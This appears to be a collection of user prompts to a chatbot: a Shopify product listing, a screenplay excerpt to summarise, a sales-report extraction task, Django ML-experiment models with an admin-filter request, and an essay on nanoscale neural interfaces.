Cholesterol 0mg\\n |\\n 0% |\\n\n\\n|\\n Sodium 150mg\\n |\\n 7% |\\n\n\\n|\\n Total Carbohydrate 23g\\n |\\n 8%\\n |\\n\n\\n|\\n \xa0 \xa0 \xa0Dietary Fiber 1g |\\n 4% |\\n\n\\n|\\n \\n\xa0 \xa0 \xa0Total Sugars 5g |\\n |\\n\n\\n|\\n \xa0 \xa0 \xa0 \xa0 \xa0 Includes 0g Added Sugars |\\n 0% |\\n\n\\n|\\n Protein 1g\\n |\\n |\\n\n\\n|\\n Vitamin D 0mcg |\\n 0% |\\n\n\\n|\\n Calcium 20mg |\\n 2% |\\n\n\\n|\\n Iron 1mg |\\n 6% |\\n\n\\n|\\n Potassium 73mg |\\n 2% |\\n\n\\n\\n\n\\n |\\n\n\\n\\n\n",\n "handle": "ancestral-roots-waffle-pancake-mix",\n "image\\_src": "https://cdn.shopify.com/s/files/1/0559/6689/2203/products/01\\_Ancestral\\_2.png?v=1652481515",\n "images": [\n {\n "id": 32177532338347,\n "alt": null,\n "src": "https://cdn.shopify.com/s/files/1/0559/6689/2203/products/01\\_Ancestral\\_2.png?v=1652481515",\n "width": 1771,\n "height": 2300,\n "position": 1,\n "created\\_at": "2022-05-13T18:38:29-04:00",\n "product\\_id": 6609476714667,\n "updated\\_at": "2022-05-13T18:38:35-04:00",\n "variant\\_ids": [],\n "admin\\_graphql\\_api\\_id": "gid://shopify/ProductImage/32177532338347"\n },\n {\n "id": 32177532305579,\n "alt": null,\n "src": "https://cdn.shopify.com/s/files/1/0559/6689/2203/products/01\\_Ancestral\\_1.png?v=1652481515",\n "width": 1277,\n "height": 1583,\n "position": 2,\n "created\\_at": "2022-05-13T18:38:28-04:00",\n "product\\_id": 6609476714667,\n "updated\\_at": "2022-05-13T18:38:35-04:00",\n "variant\\_ids": [],\n "admin\\_graphql\\_api\\_id": "gid://shopify/ProductImage/32177532305579"\n },\n {\n "id": 28933332697259,\n "alt": null,\n "src": "https://cdn.shopify.com/s/files/1/0559/6689/2203/products/gastronomical\\_wavy\\_waffle\\_and\\_pancake\\_mix\\_product\\_shot\\_3\\_ancestral\\_roots.png?v=1652481515",\n "width": 1662,\n "height": 2164,\n "position": 3,\n "created\\_at": "2021-06-08T12:59:50-04:00",\n "product\\_id": 6609476714667,\n "updated\\_at": "2022-05-13T18:38:35-04:00",\n "variant\\_ids": [],\n "admin\\_graphql\\_api\\_id": "gid://shopify/ProductImage/28933332697259"\n },\n {\n "id": 28933332795563,\n "alt": null,\n "src": "https://cdn.shopify.com/s/files/1/0559/6689/2203/products/gastronomical\\_wavy\\_waffle\\_and\\_pancake\\_mix\\_product\\_shot\\_4\\_ancestral\\_roots.png?v=1652481515",\n "width": 1666,\n "height": 2164,\n "position": 4,\n "created\\_at": "2021-06-08T12:59:51-04:00",\n "product\\_id": 6609476714667,\n "updated\\_at": "2022-05-13T18:38:35-04:00",\n "variant\\_ids": [],\n "admin\\_graphql\\_api\\_id": "gid://shopify/ProductImage/28933332795563"\n },\n {\n "id": 28933332828331,\n "alt": null,\n "src": "https://cdn.shopify.com/s/files/1/0559/6689/2203/products/gastronomical\\_wavy\\_waffle\\_and\\_pancake\\_mix\\_product\\_shot\\_5\\_ancestral\\_roots.png?v=1652481515",\n "width": 1664,\n "height": 2164,\n "position": 5,\n "created\\_at": "2021-06-08T12:59:51-04:00",\n "product\\_id": 6609476714667,\n "updated\\_at": "2022-05-13T18:38:35-04:00",\n "variant\\_ids": [],\n "admin\\_graphql\\_api\\_id": "gid://shopify/ProductImage/28933332828331"\n },\n {\n "id": 28933332762795,\n "alt": null,\n "src": "https://cdn.shopify.com/s/files/1/0559/6689/2203/products/gastronomical\\_wavy\\_waffle\\_and\\_pancake\\_mix\\_product\\_shot\\_6\\_ancestral\\_roots.png?v=1652481515",\n "width": 1662,\n "height": 2164,\n "position": 6,\n "created\\_at": "2021-06-08T12:59:50-04:00",\n "product\\_id": 6609476714667,\n "updated\\_at": "2022-05-13T18:38:35-04:00",\n "variant\\_ids": [],\n "admin\\_graphql\\_api\\_id": "gid://shopify/ProductImage/28933332762795"\n }\n ],\n "options": [\n {\n "id": 8499721339051,\n "name": "Title",\n "values": [\n "Default Title"\n ],\n "position": 1,\n "product\\_id": 6609476714667\n }\n ],\n "product\\_type": "Waffle & Pancake Mix",\n "published\\_at": "2021-04-04T22:06:37Z",\n "status": "active",\n "title": "Ancestral Roots",\n "vendor": "Ghetto Gastro",\n "origin\\_supplier\\_shop\\_domain": null\n}' -'Below are the next ten pages of the screenplay "Ruby Tuesday". Please summarize the below part of the story: \n\nAnd I’m the only one in there, so I\nget to be the one to fix all the\nproblems. To take care of it. To\nmake sure it’s everything it could\nbe.\nMIN\nSo you like being in charge?\nRUBY\nOh no, I’m not in charge. Brian is\nthe manager. Was the manager...\nRuby shudders away the painful memory.\nRUBY (CONT’D)\nYou know the person with the most\nemployee-of-the-month awards in\nSafeway company history actually\nworked in American Falls at Alpha\nSafeway.\nMIN\nMaybe you’ll get to meet them.\nRUBY\nI doubt it. They haven’t gotten an\naward in the last three years, I’m\nguessing they retired or something.\nMIN\nWell then when you get a job at\nAlpha Safeway, maybe you’ll finally\nbeat them.\nRuby smiles. They stare back up at the sky as a roadsideassistance\ntruck with its lights on approaches from behind.\nRUBY\nYou think they have grocery stores\nin space?\nMIN\nYeah. Grocery stores are universal.\nINT. CAR ON SIDE OF HIGHWAY – EVENING\nRuby immediately buckles herself in.\nRUBY\nIf we leave now, we can get to\nJasmine’s just an hour after\nsundown.\n\nRUBY (CONT’D)\n61.\nIf we blast cold air and sing show\ntunes, I can probably avoid a\nnarcoleptic episode.\nMIN\nWe can just get there tomorrow.\nRUBY\nReally?\nMIN\nYeah. I am having fun on this road\ntrip.\nRUBY\nYou…you are?\nMin nods.\nRUBY (CONT’D)\nWell then, where shall we stay\ntonight?\nCUT TO:\nEXT. ROAD - EVENING\nThe purple stallion drives past a sign that reads “Welcome to\nRichfield, Utah!”\nEXT. HOLIDAY INN – EVENING\nRuby closes the trunk of the car looking up at the hotel. Min\nleads the way.\nINT. HOLIDAY INN LOBBY – EVENING\nMin enters, holding his mess of clothes sans suitcase. He\napproaches the front desk and waits for an attendant.\nRUBY\nI’ve never been to a Holiday Inn\nbefore, this is exciting!\nMIN\nCalm down.\nRuby is taken aback. She looks to Min, and the faintest grin\ncrosses his face. Did Min really…make a joke?\nJust then, a HOTEL EMPLOYEE comes to the counter.\n\n62.\nHOTEL EMPLOYEE\nChecking in?\nMIN\nYes.\nHOTEL EMPLOYEE\nLast name?\nMIN\nMin.\nRUBY\nWait…Min is your last name?\nMin nods.\nRUBY (CONT’D)\nWait, then what’s your-\nHOTEL EMPLOYEE\nYour room number is listed on the\nkey holder. Breakfast is served\nfrom 6 to 11, and the bar is open\nuntil midnight.\nMIN\nThe bar?\nHOTEL EMPLOYEE\nYep! Right behind you.\nThe employee points to a modest, empty bar with a female\nbartender cleaning glasses behind the counter.\nMIN\nRuby, I have an idea.\nRuby looks on, half confused and half concerned.\nCUT TO:\nINT. HOLIDAY INN BAR – EVENING\nMin and Ruby approach the bar to find JETT, a 30-something\ngoth-turned-barkeep. She’s edgy, intimidating, and nothing at\nall like our two beloved heroes.\nJETT\nHey guys, what can I get ya?\n\n63.\nMIN\nI’d like to get my friend Ruby\ndrunk.\nRUBY\nOh, I don’t know about that. IMIN\nShe went to a party. It didn’t go\nwell. And now I’d like to recreate\nthe party atmosphere.\nJETT\nThat’s the spirit! Here, first\nround’s on the house.\nJett pours three shots of tequila.\nRUBY\nOh no, we can pay for them. I\nwouldn’t want you getting in\ntrouble with your manager for\npouring shots free of charge.\nJETT\nBelieve it or not, I actually own\nthis hotel. I just like working at\nthe bar, too. Cheers!\nJett throws the shot back like it’s water. Ruby, still\nshocked from Jett’s owner status, takes the shot in that\nbumbly sorta way beginners do. Ruby fails to hide her\ndisgust, Min looks delighted by the taste.\nRUBY\nHow come you didn’t ID us?\nJETT\nYou’re twenty six, he’s twenty\neight.\nThey both stand in awe. Ruby quickly turns Min around to\nwhisper and confer.\nRUBY\nAre you twenty-eight?\nMIN\nYes. Are you twenty-six?\nRUBY\nYes.\nThe two turn back around to face Jett.\n\n64.\nJETT\nIt’s the gift of a bartender. With\nenough practice, you pinpoint\nsomeone’s age down to the month.\nNow you guys drinking with me or\nwhat?\nRuby looks towards Min, unsure, until she sees Min’s face\nbreak into a smile. She can’t help but smile in return.\nINT. HOLIDAY INN BAR – LATER\nEmpty glasses on the counter with soaked napkins and semisucked\nlime wedges.\nRuby. Is. Drunk. Slurred speech, giggles, the whole shebang.\nMin looks like he’s vibing as well.\nRUBY\nYou guys wanna hear a secret?\nJett looks on with a sort of maternal pride.\nJETT\nWhat’s your secret, sweetheart?\nRUBY\nI think Safeway overcharges for its\nfine cheeses.\nJETT\n(sarcastically)\nNoooo.\nRUBY\nShhh, don’t tell them I said that.\nI also think the self-checkout\nmachines are total bologna. They\nmalfunction every time you use\nthem.\nRuby smirks and covers her mouth, as if she just revealed\nsome controversial gossip. Min looks at her with shock.\nMIN\nI don’t like the way my hands smell\nafter I leave work.\nJett looks like she’s having a field day with these two.\nRUBY\nThank you for sharing that Min.\n\n65.\nMin gently sniffs his fingertips.\nRUBY (CONT’D)\nJett?\nJETT\nYes Ruby?\nRUBY\nTeach me your age-identifying ways.\nI never want to sell to another\nminor for as long as I live, if I’m\nso lucky as to work in alcohol\nsales again one day.\nJETT\nIt’s pretty easy once you get the\nhang of it. We just need some\npeople to practice on.\nRUBY\nThere’s nobody here.\nJETT\nI know. Follow me.\nCUT TO:\nINT. HOLIDAY INN HALLWAY – NIGHT\nJett and her two drunk puppies follow her down a hallway of\nrooms. Jett pulls out her official Holiday Inn name tag from\nher back pocket.\nJETT\nYou’d be surprised how powerful\nwearing a name tag makes you.\nRuby looks to Min in total fangirl mode. Jett knocks on a\nrandom door and out comes a TIRED WOMAN in a nightgown.\nJETT (CONT’D)\nGood evening ma’am, we’re so sorry\nto wake you at this hour. Do you\nhappen to have your ID on you?\nTIRED WOMAN\nMy ID?\nJETT\nYes, standard hotel procedure. Just\nwant to make sure everyone is in\nthe right room tonight.\n\n66.\nTIRED WOMAN\nUh, sure. Let me go get it.\nTired woman retreats into her room.\nJETT\nQuick, how old do you think she is?\nRUBY\nWhat? I don’t know! I haven’t seen\nher ID yet.\nJETT\nShe’s obviously a recent forty-two.\nCrow’s feet, hair roots, but with a\nslight glimmer of youth, the signs\nare all there.\nTired woman returns and hands over her ID to Jett. She takes\na quick look then hands it back.\nJETT (CONT’D)\nAlright, looks good Mrs. Krieger!\nHave a nice night!\nShe closes the door, Jett leads the other two away.\nRUBY\nWell?\nJETT\nShe turned 42 six weeks ago. Let’s\nmove, I have a lot to teach you.\nMONTAGE:\n- An old woman stares confusedly at Ruby. She writes 53 on\nher piece of paper. Jett looks appalled by the guess.\n- Ruby stares at a young man covered in tattoos and\npiercings. She writes 14, Jett shakes her head no.\n- A mother holding her baby stand impatiently. Ruby writes\n“Mom - 60. Baby - Under 21 (I think).” Jett sighs heavily.\nINT. HOLIDAY INN HALLWAY – NIGHT\nA frustrated Ruby crumbles a piece of paper and throws it on\nthe ground.\n\n67.\nRUBY\nWe should just stop. I’m never\ngoing to be able to properly\nidentify a patron’s age.\nJETT\nNot with that attitude you’re not.\nMaybe we just need to get a little\nmore liquid confidence in ya.\nRUBY\nYou mean more alcohol?\nJett gives her a knowing look.\nCUT TO:\nINT. HOLIDAY INN BAR – NIGHT\nMore shots. More puckering faces. More uncontainable giggles.\nRuby reaches into her pocket, pulls out her name tag, and\nfastens it to her shirt.\nMONTAGE:\n- Two bikers in their 50s stand angrily in a doorway. Ruby\nwrites “Above 21” and Jett encouragingly nods. She turns back\ntowards the bikers and fearfully shuts the door.\n- A father and his son await Ruby’ verdict. She writes “16-18\nand 45-50.” Jett’s jaw drops and nods again.\nINT. HOLIDAY INN HALLWAY – NIGHT\nA YOUNG MAN stands tired in the hallway, Ruby stares at him\nwith wicked intent.\nYOUNG MAN\nThis doesn’t make any sense, why do\nyou need to-\nJETT\nShush! Alright Ruby, above or below\ntwenty-one.\nRUBY\nUmmm...\nShe squints at the man. He’s viscerally uncomfortable.\nRUBY (CONT’D)\nHold your horses.\n\n68.\nShe steps closer to the man and squints more intensely.\nRUBY (CONT’D)\nHe’s twenty one on the dot!\nJett checks the man’s ID and smiles.\nJETT\nTurned twenty one last month.\nRUBY\nWell sir, you are able to legally\npurchase alcohol any time you like.\nRuby does an uncoordinated happy dance to herself\nMIN\nAnd your favorite deli meat is\nhickory-smoked ham.\nEveryone turns towards Min. He looks disheveled, and he’s\nwearing a pair of sunglasses from god knows where. He tips\nhis sunglasses down to make eye contact with the man.\nYOUNG MAN\nI…I do love hickory smoked ham.\nMin pushes his shades back up and walks away. An ecstatic\nRuby and Jett follow behind.\nINT. RUBY AND MIN’S HOTEL ROOM – NIGHT\nRuby and Min stumble in the room with Jett’s loving\nassistance. They’re giggly as hell.\nRUBY\nI can’t believe this is what being\ndrunk feels like.\nJETT\nPretty fun, isn’t it?\nRUBY\nFun? Are you kidding me? I’m\nunstoppable!\nRuby tries zooming around the room at what feels like hyperspeed,\nbut all we see is Ruby slowly bumping into furniture.\nInterrupting Ruby’s super-sonic sprints are the sudden sounds\nof Min’s flute. By the sounds of it, he’s playing “Girls Just\nWant to Have Fun” by Cyndi Lauper.\n\n69.\nJETT\nAs much as I want to keep this\nparty alive, I better get home.\nRuby gives Jett a giant, warm hug.\nRUBY\n(into Jett’s ear)\nThank you for helping me.\nJETT\nGood luck at Alpha Safeway. And\ndrink lots of water tonight, okay?\nRUBY\nWhy?\nJETT\nWell, if you don’t, you’ll wake up\nwith a really bad-\nCUT TO:\nINT. HOTEL BATHROOM – MORNING\nRuby stands in the mirror, deeply hungover. She’s never had\none before, and it shows. Every routine morning preparation\nis draining the life out of her.\nINT. HOTEL ROOM – MORNING\nRuby exits the bathroom to find Min spooning his flute.\nRUBY\nMin.\nHis eyes instantly open.\nRUBY (CONT’D)\nDo you feel sick too?\nMIN\nLet me see.\nHe sits up and contemplates for a bit. He slowly stands,\ntakes some cautious steps towards the bathroom, and gently\ncloses the door on Ruby. And then-\nThe unmistakable sound of hungover puking. Ruby rubs her\ntemples as he finishes what he must do.\nThe door reopens.\n\n70.' -'Assume that today\'s date is 12/31/2022 and we\'re writing a monthly business report about our team\'s performance. We want to summarize how many sales we had in August 2022, how that compared month over month, and how that changed year over year. We also want to include how many unique buyers we had that month.\n"""\n\nGiven the following content to extract from:\n"""\nmonth,sales\\_usd,unique\\_buyers,total\\_transactions,avg\\_sale\n12/1/2022,"1,447,098","8,308","128,477",$11.26\n11/1/2022,"2,074,764","10,023","148,440",$13.98\n10/1/2022,"2,674,792","13,462","188,864",$14.16\n9/1/2022,"4,683,073","12,712","211,829",$22.11\n8/1/2022,"7,042,031","15,369","423,164",$16.64\n7/1/2022,"8,338,866","17,552","547,841",$15.22\n6/1/2022,"7,722,164","25,200","382,749",$20.18\n5/1/2022,"13,931,450","34,936","786,680",$17.71\n4/1/2022,"26,402,816","37,440","1,036,816",$25.47\n3/1/2022,"29,475,484","40,828","1,217,918",$24.20\n2/1/2022,"47,606,739","73,304","1,716,666",$27.73\n1/1/2022,"59,020,026","64,494","1,828,283",$32.28\n12/1/2021,"38,837,806","49,829","1,369,789",$28.35\n11/1/2021,"25,236,903","64,650","1,285,372",$19.63\n10/1/2021,"40,869,575","65,769","1,127,610",$36.24\n9/1/2021,"20,282,690","47,434","659,935",$30.73\n8/1/2021,"37,502,857","57,618","833,278",$45.01\n7/1/2021,"22,245,483","60,027","1,021,688",$21.77\n6/1/2021,"45,367,753","76,032","1,657,712",$27.37\n5/1/2021,"40,855,232","114,264","1,319,971",$30.95\n4/1/2021,"82,309,626","120,057","1,263,374",$65.15\n3/1/2021,"208,285,837","184,008","1,327,028",$156.96\n2/1/2021,"224,070,124","80,822","1,232,459",$181.81\n1/1/2021,"40,547,118","19,185","505,572",$80.20\n12/1/2020,"869,161",910,"32,056",$27.11\n11/1/2020,"322,531",489,"9,889",$32.62\n10/1/2020,"835,451",920,"19,689",$42.43\n9/1/2020,"222,576",456,"7,188",$30.96\n8/1/2020,"154,684",313,"6,610",$23.40\n7/1/2020,"8,352",35,265,$31.52\nGiven the metric definitions to use and assuming the month is November 2022:\n"""\nMoM = (11/1/2022 - 10/1/2022) / 10/1/2022\nYoY = (11/1/2022 - 11/1/2021) / 11/1/2021\nGiven the following format to mirror:\n"""\nIn November 2022, we saw $2,074,764 of sales (-22.4% MoM; -91.8% YoY) across 10,023 unique buyers.\n"""\n\nExtract the text from the following content relevant to the question:\n"""\nmonth,sales\\_usd,unique\\_buyers,total\\_transactions,avg\\_sale\n12/1/2022,"1,447,098","8,308","128,477",$11.26\n11/1/2022,"2,074,764","10,023","148,440",$13.98\n10/1/2022,"2,674,792","13,462","188,864",$14.16\n9/1/2022,"4,683,073","12,712","211,829",$22.11\n8/1/2022,"7,042,031","15,369","423,164",$16.64\n7/1/2022,"8,338,866","17,552","547,841",$15.22\n6/1/2022,"7,722,164","25,200","382,749",$20.18\n5/1/2022,"13,931,450","34,936","786,680",$17.71\n4/1/2022,"26,402,816","37,440","1,036,816",$25.47\n3/1/2022,"29,475,484","40,828","1,217,918",$24.20\n2/1/2022,"47,606,739","73,304","1,716,666",$27.73\n1/1/2022,"59,020,026","64,494","1,828,283",$32.28\n12/1/2021,"38,837,806","49,829","1,369,789",$28.35\n11/1/2021,"25,236,903","64,650","1,285,372",$19.63\n10/1/2021,"40,869,575","65,769","1,127,610",$36.24\n9/1/2021,"20,282,690","47,434","659,935",$30.73\n8/1/2021,"37,502,857","57,618","833,278",$45.01\n7/1/2021,"22,245,483","60,027","1,021,688",$21.77\n6/1/2021,"45,367,753","76,032","1,657,712",$27.37\n5/1/2021,"40,855,232","114,264","1,319,971",$30.95\n4/1/2021,"82,309,626","120,057","1,263,374",$65.15\n3/1/2021,"208,285,837","184,008","1,327,028",$156.96\n2/1/2021,"224,070,124","80,822","1,232,459",$181.81\n1/1/2021,"40,547,118","19,185","505,572",$80.20\n12/1/2020,"869,161",910,"32,056",$27.11\n11/1/2020,"322,531",489,"9,889",$32.62\n10/1/2020,"835,451",920,"19,689",$42.43\n9/1/2020,"222,576",456,"7,188",$30.96\n8/1/2020,"154,684",313,"6,610",$23.40\n7/1/2020,"8,352",35,265,$31.52\n"""\n\nSummarize the extracted text from the content above in the format to mirror:\n"""' -'```\nimport pickle\n\nfrom django.db import models\nfrom django.utils.text import slugify\nfrom django.utils.translation import gettext\\_lazy as \\_\\_\nfrom django\\_extensions.db.models import TimeStampedModel\nfrom hdlib.DateTime.Date import Date\nfrom picklefield.fields import PickledObjectField\n\nfrom main.apps.currency.models import FxPair\nfrom main.apps.feature.models.feature import FeatureGroup\nclass ExperimentTag(TimeStampedModel):\n name = models.CharField(max\\_length=250)\n slug = models.SlugField(unique=True, max\\_length=250, editable=False)\n\n def \\_\\_str\\_\\_(self):\n return f"{self.name}({self.id})"\n\n def save(self, \\*\\*kwargs):\n self.slug = slugify(self.name)\n super().save(\\*\\*kwargs)\nclass Experiment(TimeStampedModel):\n class ExperimentStatus(models.IntegerChoices):\n NOT\\_STARTED = 0, \\_\\_(\'not\\_started\')\n RUNNING = 1, \\_\\_(\'running\')\n COMPLETED = 2, \\_\\_(\'completed\')\n ERROR = 3, \\_\\_(\'error\')\n\n # name of the experiment\n name = models.CharField(max\\_length=255, unique=True) # experiment name\n\n # tags experiment. e.g. Economic data, FX, EUR/GBP, EQ, IR, GOOG. "FX#USD/GBP", "EQ#GOOG", "IR#USD", "CM#GLD",\n # "EC#Employment"\n experiment\\_tags = models.ManyToManyField(ExperimentTag, related\\_name=\'experiment\')\n\n # status of the experiment\n status = models.IntegerField(choices=ExperimentStatus.choices,\n default=ExperimentStatus.NOT\\_STARTED)\n\n # config related to data\n data\\_config = models.JSONField(verbose\\_name="Data Config", blank=True)\n\n # time when the experiment starts\n time\\_start = models.DateTimeField(verbose\\_name="Time Start", null=True, blank=True)\n\n # time when the experiment ends\n time\\_end = models.DateTimeField(verbose\\_name="Time End", null=True, blank=True)\n\n # to store error message that may happen during an experiment\n error\\_message = models.TextField(verbose\\_name="Error Message", max\\_length=255, null=True, blank=True)\n\n def \\_\\_str\\_\\_(self):\n return f"{self.name}({self.id})"\n\n def start\\_experiment(self):\n self.status = self.ExperimentStatus.RUNNING\n self.error\\_message = "Running..."\n self.time\\_start = Date.now()\n self.save()\n\n def end\\_experiment(self):\n self.status = self.ExperimentStatus.COMPLETED\n self.error\\_message = "No Error"\n self.time\\_end = Date.now()\n self.save()\n\n def failed\\_experiment(self, error\\_message: str):\n self.status = self.ExperimentStatus.ERROR\n self.error\\_message = error\\_message\n self.time\\_end = Date.now()\n self.save()\n\n @property\n def list\\_of\\_experiment\\_tags(self):\n return f", ".join([f.\\_\\_str\\_\\_() for f in self.experiment\\_tags.all()])\n\n def elapsed\\_time(self):\n if self.time\\_start and self.time\\_end:\n return self.time\\_end - self.time\\_start\n return None\n\n class Meta:\n verbose\\_name\\_plural = "Experiments"\n ordering = [\'-id\', \'name\']\nclass AIModel(TimeStampedModel):\n experiment = models.ForeignKey(Experiment, on\\_delete=models.CASCADE)\n name = models.CharField(max\\_length=255) # AI model name\n feature\\_config = models.JSONField(verbose\\_name="Feature Config",\n blank=True) # feature config such as input\\_list, target\\_list\n model\\_config = models.JSONField(verbose\\_name="Model Config",\n blank=True) # model config such as batch size, number of layer/neuron\n\n def \\_\\_str\\_\\_(self):\n return f"{self.name}({self.id})"\n\n class Meta:\n unique\\_together = (\'experiment\', \'name\')\nclass FittedModel(TimeStampedModel):\n """\n This model stores the fitted model.\n """\n\n class Type(models.TextChoices):\n BACKTEST = \'backtest\', \\_\\_("Backtest")\n FORECAST = \'forecast\', \\_\\_("Forecast")\n\n ai\\_model = models.ForeignKey(AIModel, on\\_delete=models.CASCADE)\n\n name = models.CharField(max\\_length=255)\n\n # type of the fitted model. backtest or forecast\n type = models.CharField(max\\_length=255, choices=Type.choices, null=False, default=Type.BACKTEST)\n\n # we can store train\\_start, train\\_end, model version, feature version, etc. in this field\n metadata = models.JSONField(verbose\\_name="Meta Data", blank=True, null=True)\n\n # store training states\n fit\\_result = models.JSONField(verbose\\_name="Fit Results", blank=True, null=True)\n\n # store pickled model\n pickle = PickledObjectField(verbose\\_name="Pickle", null=True)\n\n class Meta:\n unique\\_together = (\'ai\\_model\', \'name\', \'type\', \'created\')\n verbose\\_name = "Fitted Model"\n verbose\\_name\\_plural = "Fitted Models"\n\n def \\_\\_str\\_\\_(self):\n return f"{self.name}({self.id})"\n\n def save\\_model(self, model):\n """\n convert ForecasterHDML to bytes and save it to database\n """\n self.pickle = pickle.dumps(obj=model, protocol=pickle.HIGHEST\\_PROTOCOL)\n self.save()\n\n def load\\_model(self):\n """\n convert bytes to ForecasterHDML and return it\n """\n return pickle.loads(self.pickle)\nclass WalkForward(TimeStampedModel):\n """\n this serves many to one relationship between FittedModel and WalkForward.\n - one walkforward can have multiple fitted\\_models.\n - one fitted\\_model can have only one walkforward.\n """\n fitted\\_models = models.ManyToManyField(FittedModel, through="FittedModelWalkForward", related\\_name=\'walkforwards\')\n\n # start date of training in walkforward interval\n train\\_start = models.DateTimeField(verbose\\_name="Training Start Time")\n\n # end date of training in walkforward interval\n train\\_end = models.DateTimeField(verbose\\_name="Training End Time")\n\n # start date of testing in walkforward interval\n test\\_start = models.DateTimeField(verbose\\_name="Testing Start Time")\n\n # end date of testing in walkforward interval\n test\\_end = models.DateTimeField(verbose\\_name="Testing End Time")\n\n class Meta:\n verbose\\_name = "Walkforward"\n verbose\\_name\\_plural = "Walkforwards"\n ordering = [\'-test\\_end\', \'test\\_end\']\n\n # def name(self):\n # return f"{self.test\\_start} - {self.test\\_end}"\n def \\_\\_str\\_\\_(self):\n return f"WalkForward (Train: {self.train\\_start.strftime(\'%Y-%m-%d\')} to " \\\n f"{self.train\\_end.strftime(\'%Y-%m-%d\')}, " \\\n f"Test: {self.test\\_start.strftime(\'%Y-%m-%d\')} to " \\\n f"{self.test\\_end.strftime(\'%Y-%m-%d\')})"\nclass FittedModelWalkForward(models.Model):\n fitted\\_model = models.ForeignKey(FittedModel, on\\_delete=models.CASCADE)\n walk\\_forward = models.ForeignKey(WalkForward, on\\_delete=models.CASCADE)\n\n class Meta:\n verbose\\_name = "Fitted Model Walkforward"\n verbose\\_name\\_plural = "Fitted Model Walkforwards"\nclass PredictionResult(TimeStampedModel):\n class Unit(models.TextChoices):\n #TODO change to integer choice\n MINUTE = \'minute\', \\_\\_(\'Minute\')\n HOUR = \'hour\', \\_\\_(\'Hour\')\n DAY = \'day\', \\_\\_(\'Day\')\n WEEK = \'week\', \\_\\_(\'Week\')\n MONTH = \'month\', \\_\\_(\'Month\')\n YEAR = \'year\', \\_\\_(\'Year\')\n\n fitted\\_model = models.ForeignKey(FittedModel, on\\_delete=models.CASCADE)\n\n # date in which a prediction is made\n reference\\_time = models.DateTimeField()\n\n # date associated to a prediction\n horizon\\_time = models.DateTimeField()\n\n # prediction horizon\n horizon\\_length = models.IntegerField()\n\n # prediction horizon unit\n horizon\\_unit = models.CharField(max\\_length=255, choices=Unit.choices, default=Unit.DAY)\n\n # metadata e.g. horizon length, threshold, name of the backfill table, etc.\n metadata = models.JSONField(null=True, blank=True)\n\n class Meta:\n abstract = True\n ordering = [\'-horizon\\_time\']\n def \\_\\_str\\_\\_(self):\n return f"{self.fitted\\_model.ai\\_model.experiment}|{self.fitted\\_model.ai\\_model}|{self.fitted\\_model}"\n\nclass RegressionResult(PredictionResult):\n # prediction value e.g. prediction from regression model, prediction from classification model\n prediction = models.FloatField(null=True, blank=True)\n\n # ground truth value (actual value from data)\n target = models.FloatField(null=True, blank=True)\n\n class Meta:\n verbose\\_name = "Regression Result"\n verbose\\_name\\_plural = "Regression Results"\nclass ClassificationResult(PredictionResult):\n # predicted class label\n predicted\\_class = models.IntegerField(null=True, blank=True) # 1[0.7],2[0.1],3\n\n # probability distribution for multiclass classification\n class\\_probabilities = models.JSONField(null=True, blank=True)\n\n # decision thresholds for each class in multiclass classification\n decision\\_thresholds = models.JSONField(null=True, blank=True)\n\n # ground truth value (actual class label from data)\n true\\_class = models.IntegerField(null=True, blank=True)\n\n class Meta:\n verbose\\_name = "Classification Result"\n verbose\\_name\\_plural = "Classification Results"\n\n```\nI want to add WalkForward filter in RegressionResult admin' -'Here Damian! This is another example of my technical writing, please analyze the style, science, and rhetoric that I used. Really get to know my writing style with this one:\n"\nThe field of neural prosthetics has made great strides in the last few decades, from deep brain stimulators to neural prosthetics. As programs such as the Brain Initiative push for revolutionizing the understanding of the brain, the once electrical engineering-dominated field of neural prosthetics has become rich with diversity, with computer science and biochemistry researchers joining together to better the tools needed to advance neuroscience as a whole. \nThe field of neural prosthetics aims to restore function to damaged portions of the nervous system via assistive devices. Typically, assistive devices are electrical stimulators that can modulate the behavior of the nervous system to alleviate ailments. An example of such a device is deep brain stimulation electrodes used in treating Parkinson’s Disease patients[.1]. Multiwire electrodes such as the Utah array or Michigan probes have long been a staple of neural prostheses due to their reliability[2.3]. However, the devices still fall victim to the most pertinent problem that the field currently faces. The growth of fibrotic tissue around the implanted electrode sites causes instability and limited throughput of the tissue-electrode interfaces [4.5]. It has been shown that electrode arrays can typically be practical for up to one year before needing to be replaced[6.].\n While Utah arrays and Michigan probes allow for stable recordings for a decent amount of time, the deterioration of electrodes proves to be a hindrance. To create a more stable neural implant, two methods can be utilized: creating an imperceptible implant to the native host tissue or creating an indistinguishable implant [7.]. The first method would circumvent the immune response by using materials that cannot be detected. Therefore, no foreign body reactions would occur. The second method aims to create an implant that mimics the surrounding tissue and circumvents foreign body reactions. Implants made utilizing these methods should be capable of long-term placement in patients with no physical or signal degradation over time.\nConventional electrode-based neural interfaces face the problem of developing fibrotic tissue over time. However, nanoscale functional neural interfaces (nFNIs) show the potential to circumvent foreign body reactions due to their nanoscale. Functional neural interfaces (FNIs) are transducers that can relay signals between the nervous system and external stimulation and monitoring systems. Typically these transducers absorb and emit forms of energy such as electricity, magnetic fields, light, ultrasound, heat, or mechanical and relay these signals to or from the nervous system. Their bidirectional communication with the nervous system enables observations of neural activity and stimulation. As the field moves forward, FNIs are becoming miniaturized, allowing for more stable interfaces, higher-resolution communication, and more efficient signal transduction [7.]. Utah arrays can detect and induce local field potentials, affecting nearby neurons. Still, if FNIs were to become miniaturized, the spatial resolution of FNIs could be on an individual neuron scale. \nAnother perk of nFNIs is their undetectability. The host tissue will have a significantly harder time detecting the foreign bodies on a nanoscale. Foreign body reactions occur when macrophages and neutrophils cover the implanted device, causing foreign-body giant cells to grow. However, nFNIs would be magnitudes smaller than these cells. Therefore, it would be impossible for foreign body reactions to encapsulate them[8.]. Assuming the nFNIs can be effectively anchored to the target neuron and not toxic, nFNIs would have increased stability in vivo over time[9.]. \nCurrently, there exists a tradeoff between invasiveness and spatial resolution. The process is noninvasive for techniques such as electroencephalography(EEG), but the device can only interpret which brain regions are being activated. In contrast, devices such as the Utah array, which consists of 100 microelectrodes, can receive local field potentials from multiple sites. Still, it requires highly invasive surgery performed by specialists for their placement. nFNIs could potentially be dispersed by injection. The procedure is minimally invasive, and it offers the benefit of reducing the risk of infection, allowing for less specialized practitioners to administer the injection. However, injection has the inherent risk of the nFNIs not arriving at the targeted neurons. The bloodstream could take the nFNIs to parts of different regions of the brain or body that are unintended, which is a risk that the two other methods do not have. \n\nFigure 1: The figure on the left compares conventional noninvasive stimulation compared to nFNI assisted stimulation. In both cases, the signal attenuates as it travels through tissue and bone, eventually reaching the target neuron. On the left, the neuron is not activated, but on 